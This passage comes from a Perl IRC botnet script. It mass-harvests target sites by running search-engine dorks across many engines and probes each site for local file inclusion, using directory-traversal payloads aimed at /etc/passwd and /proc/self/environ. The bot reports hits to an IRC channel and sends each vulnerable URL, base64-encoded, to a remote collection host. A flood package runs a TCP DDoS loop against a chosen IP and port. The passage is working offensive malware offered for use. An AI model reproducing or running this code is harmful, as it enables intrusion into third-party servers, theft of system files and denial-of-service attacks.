  638.                                 irc::raw("PRIVMSG $conf{chan} : \0039[Lfi]\0030 =>\0039 [Bug] \0030 => $bug \0039 [Dork]\0030 => $dork \0034 END");                            
  639. }
  640.  
  641. sub lfis () {
  642.     my $bug  = $_[0] ;
  643.     my $name = $_[1];
  644.     my $dork = $_[2];
  645.     my @forks;
  646.     my $num = 0;
  647.     @tot=();
  648.     open( filez, '<', $name );
  649.    while ( my $a = <filez> ) {
  650.         $a =~ s/\n//g;
  651.         push( @tot, $a );
  652.     }
  653.     close filez;
  654.     `rm -rf $name`;
  655.     my @toexploit = unici(@tot);
  656.     irc::raw("PRIVMSG $conf{chan} : Lfi Vuln ". scalar(@toexploit)."s ");
  657.     foreach my $site (@toexploit) {
  658.         $count++;
  659.         if ( $count % 100 == 0 ) {
  660.         foreach my $f(@forks){
  661.                 waitpid($f,0);
  662.             }
  663.         $num = 0;
  664.         }
  665.         $forks[$num]=fork();
  666.         if($forks[$num] == 0){
  667.             my $test  = "http://" . $site . $bug . "./../../../../../../../../../../../etc/passwd%00";
  668.             my $ola = "http://" . $site . $bug . "./../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00";
  669.             my $re    = &query($test);
  670.             if ( $re =~ /root:x:/ ) {
  671.                 &dodaj("lfi",$test);
  672.                 irc::raw("PRIVMSG $conf{chan} : \0039[Lfi-Vuln] \0030 => $test ");                             
  673.                 my $ol = &query($ola);
  674.             if ( $ol =~ /HTTP_USER_AGENT/ ) {
  675.                 irc::raw("PRIVMSG $conf{chan} : \0039[Lfi-Vuln] \0034 {envirion} \0030 => $test ");
  676.             }}
  677.            
  678.             exit(0);
  679.         }
  680.         $num++;
  681.     }
  682.     foreach my $f(@forks){
  683.     waitpid($f,0);
  684.     }
  685. }
  686. use MIME::Base64;
  687. sub dodaj() {
  688. my $co = $_[0];
  689. my $link = $_[1];
  690. my $links = encode_base64($link);
  691.  
  692. if($co eq "sql") { irc::raw("PRIVMSG $conf{chan} : sql bug => $link SAVE => $save"); my $safet = $save."?bug=sqlbug&vuln=".$links; &query($safet); }
  693. elsif ($co eq "lfi") { my $safet = $save."?bug=lfibug&vuln=".$links; &query($safet); }
  694. elsif ($co eq "ftp") {  irc::raw("PRIVMSG $conf{chan} :ftp bug => $link SAVE => $save "); my $safet = $save."?bug=defftp&vuln=".$links; &query($safet); }
  695. elsif ($co eq "inne") { irc::raw("PRIVMSG $conf{chan} : [Lfi-Vuln] $test "); my $safet = $save."?bug=inne&vuln=".$links; &query($safet); }
  696. }
  697.  
  698. sub find() {
  699.     my $dork = $_[0];
  700.     my $name = $_[1];
  701.     my @engine;
  702.    $engine[0] = fork();
  703.     if ($engine[0] == 0) { my @msn = spread::msn($dork,$name); irc::raw("PRIVMSG $conf{chan} : Msn ".scalar(@msn).". "); exit(0); }
  704.    $engine[1] = fork();
  705.     if ($engine[1] == 0) { my @google = spread::google($dork,$name); irc::raw("PRIVMSG $conf{chan} : google ".scalar(@google).". "); exit(0); }
  706.    $engine[2] = fork();
  707.     if ($engine[2] == 0) { my @virgilio = spread::virgilio($dork,$name); irc::raw("PRIVMSG $conf{chan} : virgilio ".scalar(@virgilio).". "); exit(0); }
  708.    $engine[3] = fork();
  709.     if ($engine[3] == 0) { my @altavista = spread::altavista($dork,$name); irc::raw("PRIVMSG $conf{chan} : altavista ".scalar(@altavista).". "); exit(0); }
  710.    $engine[4] = fork();
  711.     if ($engine[4] == 0) { my @ask = spread::ask($dork,$name); irc::raw("PRIVMSG $conf{chan} : ask ".scalar(@ask).". "); exit(0); }
  712.    $engine[5] = fork();
  713.     if ($engine[5] == 0) { my @webde = spread::webde($dork,$name); irc::raw("PRIVMSG $conf{chan} : webde ".scalar(@webde).". "); exit(0); }
  714.    $engine[6] = fork();
  715.     if ($engine[6] == 0) { my @uol = spread::uol($dork,$name); irc::raw("PRIVMSG $conf{chan} : uol ".scalar(@uol).". "); exit(0); }
  716.    $engine[7] = fork();
  717.     if ($engine[7] == 0) { my @onet = spread::onet($dork,$name); irc::raw("PRIVMSG $conf{chan} : onet ".scalar(@onet).". "); exit(0); }
  718.    $engine[8] = fork();
  719.     if ($engine[8] == 0) { my @szuk = spread::szukacz($dork,$name); irc::raw("PRIVMSG $conf{chan} : szukacz ".scalar(@szukacz).". "); exit(0); }
  720.    $engine[9] = fork();
  721.     if ($engine[9] == 0) { my @int = spread::interia($dork,$name); irc::raw("PRIVMSG $conf{chan} : interia ".scalar(@int).". "); exit(0); }
  722.  
  723.      foreach my $e(@engine){
  724.         waitpid($e,0);
  725.     }
  726. }
  727.  
  728. sub altavista() {
  729.     my $dork  = $_[0];
  730.     my $name = $_[1];
  731.     my $atest = ("http://it.altavista.com/web/results?itag=ody&q=".key($dork)."&kgs=0&kls=1");
  732.     my $re = query($atest);
  733.     if ($re =~ /Sono stati trovati 0 risultati/) {
  734.         return @list;
  735.     }
  736.     else {
  737.         for ($i = 0;$i <= 1000;$i += 50){
  738.            my $alink = ("http://it.altavista.com/web/results?itag=ody&kgs=0&q=".key($dork)."&stq=".$i);
  739.            my $re = query($alink);
  740.            while ($re =~ m/<span class=ngrn>(.+?)<\/span>/g) {
  741.                 my $h = $1;
  742.                 push(@sgrep,$h);
  743.             }
  744.         }
  745.         my @list = fprint($name,@sgrep);
  746.         return @list;
  747.     }
  748. }
  749.  
  750. sub google () {
  751.     my @gsites;
  752.     my $key = $_[0];
  753.     my $name = $_[1];my $file = "lfi".int(rand(900)).".txt";
  754.     my $gtest = ("www.google.com/search?q=hi&hl=en&start=10&sa=N");
  755.     my $ret = query($gtest);
  756.     if ($ret =~ /2008 Google/) {
  757.         @gsites = gfind($key,$name);
  758.     }
  759.     else {
  760.         @gsites = gbypass($key,$name);
  761.     }
  762.     return @gsites;
  763. }
  764.  
  765. sub interia() {
  766.     my $dork  = $_[0];
  767.     my $name = $_[1];
  768.     for ($i = 0;$i <= 10;$i += 1) {
  769.        my $mlink = ( "http://www.google.interia.pl/szukaj?q=".key($dork)."&s=szukaj&w=sw&szukaj=&p=".$i);
  770.        my $re = query($mlink);
  771.        while ($re =~ m/text-decoration: none;\">http:\/\/(.+?)\/(.*)<\/a>/g) {
  772.             my $h = $1;
  773.             push(@sgrep,$h);
  774.            
  775.         }
  776.     }
  777.     my @list = fprint($name,@sgrep);
  778.     return @list;
  779. }
  780.  
  781. sub work() {
  782.     my $dork  = $_[0];
  783.     my $name = $_[1];
  784.     for ($i = 1;$i <= 10;$i += 1) {
  785.        my $mlink = ( "http://netmenu.metaseek.nl/search/web/".$i."/".key($dork));
  786.        my $re = query($mlink);
  787.        while ($re =~ m/<a target=_blank href=\"http:\/\/(.+?)\//g) {
  788.            my $h = $1;
  789.            push(@sgrep,$h);
  790.            
  791.        }
  792.    }
  793.    my @list = fprint($name,@sgrep);
  794.    return @list;
  795. }
  796. sub work2() {
  797.    my $dork  = $_[0];
  798.    my $name = $_[1];
  799.    for ($i = 0;$i <= 80;$i += 1) {
  800.        my $mlink = ( "http://search.walla.co.il/?t=0&e=utf&q=".key($dork)."&p=".$i);
  801.        my $re = query($mlink);
  802.        while ($re =~ m/<td class=sw><a href=\"http:\/\/(.*?)\//g) {
  803.            my $h = $1;
  804.            push(@sgrep,$h);
  805.            
  806.        }
  807.    }
  808.    my @list = fprint($name,@sgrep);
  809.    return @list;
  810. }
  811. sub work3() {
  812.    my $dork  = $_[0];
  813.    my $name = $_[1];
  814.    for ($i = 0;$i <= 990;$i += 10) {
  815.        my $mlink = ( "http://search1.rediff.com/dirsrch/default.asp?MT=".key($dork)."&iss=&submit=Search&firstres=".$i);
  816.        my $re = query($mlink);
  817.        while ($re =~ m/onmousedown=\"return enc\(this\, \'http:\/\/(.*?)\//g) {
  818.            my $h = $1;
  819.            push(@sgrep,$h);
  820.            
  821.        }
  822.    }
  823.    my @list = fprint($name,@sgrep);
  824.    return @list;
  825. }
  826. #google/msn
  827. sub msn() {
  828.    my $dork  = $_[0];
  829.    my $name = $_[1];
  830.    my @dome = ("pl-PL","ar-XA","en-XA","es-AR","fr-BE","de-DE","ja-JP","ru-RU","cz-CZ");
  831. foreach $dom(@dome){
  832.    for ($i = 1;$i <= 100;$i += 10) {
  833.        my $mlink = ( "http://search.live.com/results.aspx?q=".key($dork)."&go=Suche&mkt=".$dom."&scope=&first=".$i."&FORM=PERE" );
  834.        my $re = query($mlink);
  835.        while ($re =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  836.             my $h = $1;
  837.             if ($h !~ /msn|live/ ) {
  838.                 push(@sgrep,$h);
  839.             }
  840.         }
  841.     }}
  842.     my @list = fprint($name,@sgrep);
  843.     return @list;
  844. }
  845.  
  846. sub msnde() {
  847.     my $dork  = $_[0];
  848.     my $name = $_[1];
  849.     for ($i = 1;$i <= 800;$i += 10) {
  850.        my $mlink = ( "http://search.live.com/results.aspx?q=".key($dork)."&go=Suche&mkt=de-de&scope=&first=".$i."&FORM=PERE" );
  851.        my $re = query($mlink);
  852.        while ($re =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  853.             my $h = $1;
  854.             if ($h !~ /msn|live/ ) {
  855.                 push(@sgrep,$h);
  856.             }
  857.         }
  858.     }
  859.     my @list = fprint($name,@sgrep);
  860.     return @list;
  861. }
  862.  
  863. sub msnbe() {
  864.     my $dork  = $_[0];
  865.     my $name = $_[1];
  866.     for ($i = 1;$i <= 800;$i += 10) {
  867.        my $mlink = ( "http://search.live.com/results.aspx?q=".key($dork)."&go=Suche&mkt=nl-be&scope=&first=".$i."&FORM=PERE" );
  868.        my $re = query($mlink);
  869.        while ($re =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  870.             my $h = $1;
  871.             if ($h !~ /msn|live/ ) {
  872.                 push(@sgrep,$h);
  873.             }
  874.         }
  875.     }
  876.     my @list = fprint($name,@sgrep);
  877.     return @list;
  878. }
  879.                    
  880. sub onet() {
  881.     my $dork  = $_[0];
  882.     my $name = $_[1];
  883.     for ($i = 0;$i <= 50;$i += 1) {
  884.        my $mlink = ( "http://szukaj.onet.pl/query.html?qt=".key($dork)."&p=".$i);
  885.        my $re = query($mlink);
  886.        while ($re =~ m/<span class=\"?clurl\"?>http:\/\/(.+?)\//g) {
  887.             my $h = $1;
  888.             push(@sgrep,$h);
  889.            
  890.         }
  891.     }
  892.     my @list = fprint($name,@sgrep);
  893.     return @list;
  894. }
  895.  
  896. sub szukacz() {
  897.     my $dork  = $_[0];
  898.     my $name = $_[1];
  899.     for ($i = 0;$i <= 400;$i += 20) {
  900.        my $mlink = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&enc=iso-8859-2&q=".key($dork)."&start=".$i);
  901.        my $re = query($mlink);
  902.        while ($re =~ m/<a title=\"?http:\/\/(.+?)\//g) {
  903.            my $h = $1;
  904.            push(@sgrep,$h);
  905.            
  906.        }
  907.    }
  908.    my @list = fprint($name,@sgrep);
  909.    return @list;
  910. }
  911. sub msnfr() {
  912.    my $dork  = $_[0];
  913.    my $name = $_[1];
  914.    for ($i = 1;$i <= 800;$i += 10) {
  915.        my $mlink = ( "http://search.live.com/results.aspx?q=".key($dork)."&go=Suche&mkt=fr-fr&scope=&first=".$i."&FORM=PERE" );
  916.        my $re = query($mlink);
  917.        while ($re =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  918.             my $h = $1;
  919.             if ($h !~ /msn|live/ ) {
  920.                 push(@sgrep,$h);
  921.             }
  922.         }
  923.     }
  924.     my @list = fprint($name,@sgrep);
  925.     return @list;
  926. }
  927.  
  928. sub msncz() {
  929.     my $dork  = $_[0];
  930.     my $name = $_[1];
  931.     for ($i = 1;$i <= 800;$i += 10) {
  932.        my $mlink = ( "http://search.live.com/results.aspx?q=".key($dork)."&go=Suche&mkt=cs-cz&scope=&first=".$i."&FORM=PERE" );
  933.        my $re = query($mlink);
  934.        while ($re =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  935.             my $h = $1;
  936.             if ($h !~ /msn|live/ ) {
  937.                 push(@sgrep,$h);
  938.             }
  939.         }
  940.     }
  941.     my @list = fprint($name,@sgrep);
  942.     return @list;
  943. }
  944.  
  945. sub msnch() {
  946.     my $dork  = $_[0];
  947.     my $name = $_[1];
  948.     for ($i = 1;$i <= 800;$i += 10) {
  949.        my $mlink = ( "http://search.live.com/results.aspx?q=".key($dork)."&go=Suche&mkt=de-ch&scope=&first=".$i."&FORM=PERE" );
  950.        my $re = query($mlink);
  951.        while ($re =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  952.             my $h = $1;
  953.             if ($h !~ /msn|live/ ) {
  954.                 push(@sgrep,$h);
  955.             }
  956.         }
  957.     }
  958.     my @list = fprint($name,@sgrep);
  959.     return @list;
  960. }
  961.  
  962. sub yahoo() {
  963.     my @ysites;
  964.     my $dork = $_[0];
  965.     my $name = $_[1];
  966.     my $ytest = ("http://search.yahoo.com/search?p=".key($dork)."&fr=yfp-t-501&ei=UTF-8&rd=r1");
  967.     my $re = query($ytest);
  968.     if ($re =~ /We did not find results for: <strong>/) {
  969.         return @ysites;
  970.     }
  971.     elsif ($re =~ /Yahoo! Search results/) {
  972.         @ysites = yfind($dork,$name);
  973.         return @ysites;
  974.     }
  975.     else {
  976.         writ1("1Banned by Yahoo Engine, BYPASS started!");
  977.         @ysites = ybypass($dork,$name);
  978.         return @ysites;
  979.     }
  980. }
  981.  
  982. sub yfind() {
  983.     my $dork  = $_[0];
  984.     my $name = $_[1];
  985.     for ($i = 1;$i <= 901;$i += 100) {
  986.        my $ylink = ("http://search.yahoo.com/search?p=".key($dork)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vd=all&vst=0&vf=all&vm=r&fl=0&fr=yfp-t-501&pstart=1&b=".$1);
  987.        my $re = query($ylink);
  988.        while ($re =~ m/<a class=\"yschttl\" href=\"http:\/\/(.+?)\" >/g) {
  989.             my $h = $1;
  990.             if ($h !~ /yahoo|<|>/) {
  991.                 push(@sgrep,$h);
  992.             }
  993.         }
  994.     }
  995.     my @list = fprint($name,@sgrep);
  996.     return @list;
  997. }
  998.  
  999. sub ybypass() { # GoodSearch uses the same search type of Yahoo
  1000.     my $dork  = $_[0];
  1001.     my $name = $_[1];
  1002.     my $ybytest = ("http://www.goodsearch.com/Search.aspx?Keywords=".key($dork)."&page=1&osmax=16");
  1003.     my $re = query($ybytest);
  1004.     if ($re =~ /Your search did not yield any results/){
  1005.         return @list;
  1006.     }
  1007.     else {
  1008.         for $i(1..50){
  1009.             my $ybylink = ("http://www.goodsearch.com/Search.aspx?Keywords=".key($dork)."&page=".$i."&osmax=16");
  1010.             my $re = query($ybylink);
  1011.             while ($re =~ m/href=\"(.+?)\">(.+?)<\/a>/g) {
  1012.                 my $h = $2;
  1013.                 if (($h =~ /\./) && ($h !~ /<|>| /)){
  1014.                    push(@sgrep,$h);
  1015.                 }
  1016.             }
  1017.         }
  1018.         my @list = fprint($name,@sgrep);
  1019.         return @list;
  1020.     }
  1021. }
  1022.  
  1023. sub gigablast() {
  1024.     my $dork  = $_[0];
  1025.     my $name = $_[1];
  1026.     my $gtest = ("http://www.gigablast.com/index.php?n=10&k5p=215334&q=".key($dork)."&submit.x=0&submit.y=0");
  1027.     my $re = query($gtest);
  1028.     if ($re =~ /No results found for/){
  1029.         return @list;
  1030.     }
  1031.     else {
  1032.         for ($i = 0; $i <= 1000; $i += 10) {
  1033.            my $glink = ("http://www.gigablast.com/index.php?q=".key($dork)."&submit_x=929&submit_y=168&k9j=686621&s=".$i."&n=10&");
  1034.            my $re = query($glink);
  1035.            while ($re =~ m/href=\"http:\/\/(.+?)\">/g) {
  1036.                 my $h = $1;
  1037.                 if ($h !~ /web\.archive|gigablast/){
  1038.                     push(@sgrep,$h);
  1039.                 }
  1040.             }
  1041.         }
  1042.         my @list = fprint($name,@sgrep);
  1043.         return @list;
  1044.     }
  1045. }
  1046.  
  1047. sub ask() {
  1048.     my $dork = $_[0];
  1049.     my $name = $_[1];
  1050.     my $atest = ("http://it.ask.com/web?q=".key($dork)."&qsrc=1&o=312&l=dir&dm=all");
  1051.     my $re = query($atest);
  1052.     if ($re =~ /non ha prodotto alcun risultato/) {
  1053.         return @list;
  1054.     }
  1055.     else {
  1056.         for ($i = 0;$i <= 20;$i ++){
  1057.            my $alink = ("http://it.ask.com/web?q=".key($dork)."&o=0&l=dir&qsrc=0&qid=612B74535B00F6CA7678625658F9B98C&dm=all&page=".$i);
  1058.            my $re = query($alink);
  1059.            while($re =~ m/href=\"http:\/\/(.+?)\"/g){
  1060.                my $h = $1;
  1061.                if ($h !~ /ask|wikipedia/){
  1062.                    push(@sgrep,$h);
  1063.                }
  1064.            }
  1065.        }
  1066.        my @list = fprint($name,@sgrep);
  1067.        return @list;
  1068.    }
  1069. }
  1070. ## Aol doesn't work, don't know why. When i try to make a http request on aol host, this is the message that i received: You don't have permission to access /aol/search
  1071. ## Don't know hot to fix it :S Anyway you have here the sub, so you can try to fix this problem
  1072. sub aol() {
  1073.    my $dork = $_[0];
  1074.    my $name = $_[1];
  1075.    my $atest = ("http://search.aol.com/aol/search?invocationType=topsearchbox.search&query=".key($dork));
  1076.    my $re = query($atest);
  1077.    if ($re =~ /returned no results\.<\/h3>/) {
  1078.         return @list;
  1079.     }
  1080.     else {
  1081.         for $i(1..100){
  1082.             my $alink = ("http://search.aol.com/aol/search?query=".key($dork)."&page=".$i."&nt=SG2&do=Search&invocationType=comsearch30&clickstreamid=3154480101243260576");
  1083.             my $re = query($alink);print "$re\n";
  1084.             while($re =~ m/\"deleted\" property=\"f:url\">http:\/\/(.+?)<\/p>/g) {
  1085.                 my $h = $1;
  1086.                 push(@sgrep,$h);
  1087.             }
  1088.         }
  1089.         my @list = fprint($name,@sgrep);
  1090.         return @list;
  1091.     }
  1092. }
  1093.  
  1094. sub dmoz() {
  1095.     my $dork = $_[0];
  1096.     my $name = $_[1];
  1097.     my $dtest = ("http://search.dmoz.org/cgi-bin/search?search=".key($dork));
  1098.     my $re = query($dtest);
  1099.     if ($re =~ m/No <b><a href=\"http:\/\/dmoz.org\/\">Open Directory Project<\/a><\/b> results found/g){
  1100.         return @list;
  1101.     }
  1102.     elsif ($re =~ /of (.+?)\)<p>/){
  1103.         my $ftot = $1;
  1104.         if ($ftot <= 20) {
  1105.            $max = 1;
  1106.        }
  1107.        else {
  1108.            my $to = $ftot / 20;
  1109.            if ($to =~ /(.+).(.+?)/){
  1110.                $uik = $1 * 20;
  1111.                $max = $uik +1;
  1112.            }
  1113.            elsif ($to =~ /[0-9]/) {
  1114.                my $to--;
  1115.                my $rej = $to * 20;
  1116.                $max = $rej +1;
  1117.            }
  1118.        }
  1119.    }
  1120.    for ($i = 1;$i <= $max;$i += 20){
  1121.        my $dlink = ("http://search.dmoz.org/cgi-bin/search?search=".key($dork)."&utf8=1&locale=it_it&start=".$i);
  1122.        my $re = query($dlink);
  1123.        while($re =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1124.            my $h = $1;
  1125.            if ($h !~ /dmoz/){
  1126.                push(@sgrep,$h);
  1127.            }
  1128.        }
  1129.    }
  1130.    my @list = fprint($name,@sgrep);
  1131.    return @list;
  1132. }
  1133. sub webde() {
  1134.    my $dork = $_[0];
  1135.    my $name = $_[1];
  1136.    for $i(1..50){
  1137.        my $wlink = ("http://suche.web.de/search/web/?pageIndex=".$i."&su=".key($dork)."&y=0&x=0&mc=suche@web@[email protected]@web");
  1138.        my $re = query($wlink);
  1139.        while($re =~ m/href=\"http:\/\/(.+?)\">/g) {
  1140.             my $h = $1;
  1141.             if ($h !~ /\/search\/web|web.de|\" class=\"neww\"/){
  1142.                 push(@sgrep,$h);
  1143.             }
  1144.         }
  1145.     }
  1146.     my @list = fprint($name,@sgrep);
  1147.     return @list;
  1148. }
  1149.  
  1150. sub einet() {
  1151.     my $dork = $_[0];
  1152.     my $name = $_[1];
  1153.     my $etest = ("http://www.einet.net/view/search.gst?p=1&k=".key($dork)."&s=0&submit=Search");
  1154.     my $re = query($etest);
  1155.     if ($re =~ /<span class=nPage>Page 1 of\s+(.+?)<\/span>/){
  1156.         my $tot = $1;
  1157.         for ($i = 1;$i <= $tot;$i++){
  1158.            my $elink = ("http://www.einet.net/view/search.gst?p=".$i."&k=".key($dork)."&s=0&submit=Search");
  1159.            my $re = query($elink);
  1160.            while($re =~ m/<span class=url2>\s+(.+?)<\/span>/g) {
  1161.                 my $h = $1;
  1162.                 push(@sgrep,$h);
  1163.             }
  1164.         }
  1165.     }
  1166.     my @list = fprint($name,@sgrep);
  1167.     return @list;
  1168. }
  1169.  
  1170. sub uol() {
  1171.     my $dork = $_[0];
  1172.     my $name = $_[1];
  1173.     my $utest = ("http://busca.uol.com.br/www/index.html?q=".key($dork)."&ad=on");
  1174.     my $re = query($test1);
  1175.     if ($re =~ /n??o retornou nenhum resultado/) {
  1176.         return @list;
  1177.     }
  1178.     else {
  1179.         for($i = 0;$i <= 360;$i +=10) {
  1180.            my $uollink = ("http://busca.uol.com.br/www/index.html?ad=on&q=".key($dork)."&start=".$i);
  1181.            my $re = query($uollink);
  1182.            while($re =~ m/<dt><a href=\"http:\/\/(.+?)\">/g) {
  1183.                 my $h = $1;
  1184.                 push(@sgrep,$h);
  1185.             }
  1186.         }
  1187.         my @list = fprint($name,@sgrep);
  1188.         return @list;
  1189.     }
  1190. }
  1191.  
  1192. sub abacho() {
  1193.     my $dork = $_[0];
  1194.     my $name = $_[1];
  1195.     my $atest = ("http://search.abacho.com/it/abacho.it/index.cfm?q=".key($dork)."&country=it&x=0&y=0");
  1196.     my $re = query($atest);
  1197.     if ($re =~ /We didn't find any results matching your query/) {
  1198.         return @list;
  1199.     }
  1200.     else {
  1201.         for ($i = 0;$i <= 1000; $i += 10) {
  1202.            my $alink = ("http://search.abacho.com/it/abacho.it/index.cfm?offset=".$i."&poffset=0&StartCounter=".$i."&q=".key($dork)."&a=&b=&country=it&page=&d_html=&d_pdf=&d_msdoc=&d_xls=&d_ppt=&mesearchkey=&cluster=&coop=");
  1203.            my $re = query($alink);
  1204.            while ($re =~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g) {
  1205.                 my $h = $1;
  1206.                 push(@sgrep,$h);
  1207.             }
  1208.         }
  1209.         my @list = fprint($name,@sgrep);
  1210.         return @list;
  1211.     }
  1212. }
  1213.  
  1214. sub trovatore() {
  1215.     my $dork = $_[0];
  1216.     my $name = $_[1];
  1217.     my $ttest = ("http://213.215.201.230/search.jsp?query=".key($dork)."&langselect=all&hitsPerPage=10&hitsPerSite=1&clustering=&filterResults=null&start=0");
  1218.     my $re = query($ttest);
  1219.     if ($re =~ /Risultati <b>0-0<\/b>/) {
  1220.         return @list;
  1221.     }
  1222.     else {
  1223.         for ($i = 0;$i <= 2500; $i += 10) {
  1224.            my $tlink = ("http://213.215.201.230/search.jsp?query=".key($dork)."&langselect=all&hitsPerPage=10&hitsPerSite=1&clustering=&filterResults=null&start=".$i);
  1225.            my $re = query($tlink);
  1226.            while($re =~ m/<a href=\"http:\/\/(.+?)\">/g) {
  1227.                 my $h = $1;
  1228.                 if ($h !~ /iltrovatore\.it|213\.215\.201\.230|microsoft|wikipedia/){
  1229.                     push(@sgrep,$h);
  1230.                 }
  1231.             }
  1232.         }
  1233.         my @list = fprint($name,@sgrep);
  1234.         return @list;
  1235.     }
  1236. }
  1237.  
  1238. sub lycos() {
  1239.     my $dork = $_[0];
  1240.     my $name = $_[1];
  1241.     my $ltest = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=0&query=".key($dork)."&cat=web&enc=utf-8&xargs=");
  1242.     my $re = query($ltest);
  1243.     if ($re =~ /non ha avuto esito positivo tra/) {
  1244.         return @list;
  1245.     }
  1246.     else {
  1247.         for $i(0..79) {
  1248.             my $llink = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=".$i."&query=".key($dork)."&cat=web&enc=utf-8");
  1249.             my $re = query($llink);
  1250.             while($re =~ m/title=\"\" >http:\/\/(.+?)<\/a>/g) {
  1251.                 my $h = $1;
  1252.                 if ($h !~ /youtube|google|wikipedia|microsoft/){
  1253.                     push(@sgrep,$h);
  1254.                 }
  1255.             }
  1256.         }
  1257.         my @list = fprint($name,@sgrep);
  1258.         return @list;
  1259.     }
  1260. }
  1261.  
  1262. sub walhello() {
  1263.     my $dork = $_[0];
  1264.     my $name = $_[1];
  1265.     my $wtest = ("http://www.walhello.info/search?key=".key($dork)."&taal=a&nummer=0&&web=no&&vert=2&");
  1266.     my $re = query($wtest);
  1267.     if ($re =~ /Verzeihung, Nichts gefunden/) {
  1268.         return @list;
  1269.     }
  1270.     else {
  1271.         for $i(0..99) {
  1272.             my $wlink = ("http://www.walhello.info/search?key=".key($dork)."&taal=a&nummer=".$i."&&web=no&&vert=2&");
  1273.             my $re = query($wlink);
  1274.             while($re =~ m/<a href=http:\/\/(.+?)>/g) {
  1275.                 my $h = $1;
  1276.                 if ($h !~ /walhello|microsoft|wikipedia/){
  1277.                     push(@sgrep,$h);
  1278.                 }
  1279.             }
  1280.         }
  1281.         my @list = fprint($name,@sgrep);
  1282.         return @list;
  1283.     }
  1284. }
  1285.  
  1286. sub virgilio() {
  1287.     my $dork = $_[0];
  1288.     my $name = $_[1];
  1289.     my $vtest = ("http://ricerca.alice.it/ricerca?qs=".key($dork)."&Cerca=&lr=");
  1290.     my $re = query($vtest);
  1291.     if ($re =~ /<span>Controlla che tutte le parole siano state digitate correttamente<\/span>/) {
  1292.         return @list;
  1293.     }
  1294.     else {
  1295.         for ($i = 0;$i <= 800; $i += 10) {
  1296.            my $vlink = ("http://ricerca.alice.it/ricerca?qs=".key($dork)."&filter=1&site=&lr=&hits=10&offset=".$i);
  1297.            my $re = query($vlink);
  1298.            while($re =~ m/<span><a href=\"http:\/\/(.+?)\">/g) {
  1299.                 my $h = $1;
  1300.                 if ($h !~ /microsoft|wikipedia/){
  1301.                     push(@sgrep,$h);
  1302.                 }
  1303.             }
  1304.         }
  1305.         my @list = fprint($name,@sgrep);
  1306.         return @list;
  1307.     }
  1308. }
  1309.  
  1310. sub onet() {
  1311.     my $dork  = $_[0];
  1312.     my $name = $_[1];
  1313.     for ($i = 0;$i <= 25;$i += 1) {
  1314.        my $mlink = ( "http://szukaj.onet.pl/query.html?qt=".key($dork)."&p=".$i);
  1315.        my $re = query($mlink);
  1316.        while ($re =~ m/<span class=\"?clurl\"?>http:\/\/(.+?)\//g) {
  1317.             my $h = $1;
  1318.             push(@sgrep,$h);
  1319.            
  1320.         }
  1321.     }
  1322.     my @list = fprint($name,@sgrep);
  1323.     return @list;
  1324. }
  1325.  
  1326. sub links() {
  1327. my @l;
  1328. my $link=$_[0];
  1329. push(@l,$link);
  1330. return @l;
  1331. }
  1332.  
  1333. sub fprint() {
  1334.     my($name,@sgrep) = @_;
  1335.     my @list;
  1336.     foreach my $n(@sgrep) {
  1337.         my @grep = &links($n);
  1338.         push(@list,@grep);
  1339.     }
  1340.     open($file, ">>", $name);
  1341.     foreach my $h(@list) {
  1342.         print $file "$h\n";
  1343.     }
  1344.     close($file);
  1345.     return @list;
  1346. }
  1347.  
  1348. sub remove() {
  1349.     my $file = @_;
  1350.     foreach my $f(@_){
  1351.         system("rm -rf $f");
  1352.     }
  1353. }
  1354.  
  1355. sub unici {
  1356.     my @unici = ();
  1357.     my %visti = ();
  1358.     foreach my $elemento (@_) {
  1359.         $elemento =~ s/\/+/\//g;
  1360.         next if $visti{$elemento}++;
  1361.         push @unici, $elemento;
  1362.     }
  1363.     return @unici;
  1364. }
  1365.  
  1366. sub key() {
  1367.     my $dork = $_[0];
  1368.     $dork =~ s/ /\+/g;
  1369.     $dork =~ s/:/\%3A/g;
  1370.     $dork =~ s/\//\%2F/g;
  1371.     $dork =~ s/&/\%26/g;
  1372.     $dork =~ s/\"/\%22/g;
  1373.     $dork =~ s/,/\%2C/g;
  1374.     $dork =~ s/\\/\%5C/g;
  1375.     return $dork;
  1376. }
  1377.  
  1378. sub querys() {
  1379.     $link = $_[0];
  1380.     my $req = HTTP::Request->new(GET => $link);
  1381.     my $ua = LWP::UserAgent->new();
  1382.     $ua->timeout(1);
  1383.     $ua->agent(@useragents[int(rand(scalar(@useragents)))]);
  1384.     my $response = $ua->request($req);
  1385.     return $response->content;
  1386. }
  1387.  
  1388. sub query() {
  1389.     $link = $_[0];
  1390.     my $req = HTTP::Request->new(GET => $link);
  1391.     my $ua = LWP::UserAgent->new();
  1392.     $ua->timeout(8);
  1393.     $ua->agent(@useragents[int(rand(scalar(@useragents)))]);
  1394.     my $response = $ua->request($req);
  1395.     return $response->content;
  1396. }
  1397.  
  1398. package flood;
  1399. use POSIX;
  1400. use Socket;
  1401. use Socket6;
  1402.  
  1403. ## or..
  1404. #use IO::Socket;
  1405. #use IO::Socket6;
  1406.  
  1407. our $s_time;
  1408.  
  1409. sub tcp {
  1410.     irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
  1411.     $s_time = time;
  1412.     my @SOCKET;
  1413.     while ($_[3] > (time - $s_time)) {
  1414.         for(my $i=0;$i<200;$i++) {
  1415.            socket($SOCKET[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  1416.            fcntl($SOCKET[$i], F_SETFL(), O_NONBLOCK());
  1417.        }
  1418.        for(my $i=0;$i<200;$i++) {
  1419.            connect($SOCKET[$i], sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
  1420.        }
  1421.        for(my $i=0;$i<200;$i++) {
  1422.            close($SOCKET[$i]);
  1423.        }
  1424.    }
